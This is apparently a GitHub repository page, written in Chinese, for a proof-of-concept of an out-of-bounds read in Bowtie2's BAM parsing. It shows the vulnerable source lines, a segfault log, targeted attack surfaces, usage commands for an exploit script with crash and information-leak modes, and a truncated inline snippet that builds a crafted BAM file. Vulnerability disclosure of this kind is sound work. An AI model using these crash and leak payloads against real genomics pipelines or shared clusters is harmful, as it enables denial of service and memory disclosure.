jabir-dev/CVE-2026-Bowtie2-OOB

GitHub: jabir-dev/CVE-2026-Bowtie2-OOB

针对 Bowtie2 BAM 文件解析器的越界读取漏洞(CWE-125)概念验证项目,提供漏洞利用脚本和崩溃复现工具。

Stars: 0 | Forks: 0

# CVE-2026-XXXXX: Bowtie2 通过构造的 BAM 导致越界读取 ## 概述 | 字段 | 值 | |-------|-------| | **产品** | Bowtie2 | | **供应商** | BenLangmead | | **版本** | 0 至 2.5.4(所有版本) | | **类型** | 越界读取 (CWE-125) | | **CVSS 4.0** | 8.7 高危 | | **影响** | 拒绝服务 / 信息泄露 | | **bio.tools** | https://bio.tools/bowtie2 | ## 漏洞详情 ``` // pat.cpp:1376-1381 memcpy(&nref, &alignment_batch[0] + i, sizeof(nref)); i += sizeof(nref); for (uint32_t j = 0; j < nref; j++) { // nref from untrusted file! uint32_t l_name; memcpy(&l_name, &alignment_batch[0] + i, sizeof(l_name)); // OOB READ i = i + sizeof(l_name) + l_name + sizeof(uint32_t); // i grows unbounded } ``` ## 崩溃证据 ``` $ bowtie2 -x ref_idx -b crafted.bam --no-head Segmentation fault (core dumped) $ echo $? 139 ``` ## 影响 - **拒绝服务**:通过 SIGSEGV 导致必然崩溃 - **信息泄露**:OOB 读取可能会泄露相邻的堆内存 - **潜在的 RCE**:在特定的堆布局下,通过与写入原语链式结合实现 ## 攻击面 1. 处理不受信任的 BAM 文件的**生物信息学流水线** 2. 用户共享 BAM 文件的**共享 HPC 集群** 3. 接受 BAM 上传的**基于 Web 的基因组学平台** 4. 包含 BAM 输入的 **Galaxy Project** 工作流 ## 用法 ``` # 检查 bowtie2 是否存在漏洞 python3 exploit.py --bt2 ./bowtie2 --index ref_idx --mode check # 传递 crash payload python3 exploit.py --bt2 ./bowtie2 --index ref_idx --mode crash # 信息泄露分析 python3 exploit.py --bt2 ./bowtie2 --index ref_idx --mode info # 保存 crash BAM 以供手动测试 python3 exploit.py --bt2 ./bowtie2 --index ref_idx --save-bam crash.bam ``` ### 快速手动测试 ``` python3 -c " import struct, zlib bam = b'BAM\x01' + struct.pack('
标签:逆向工具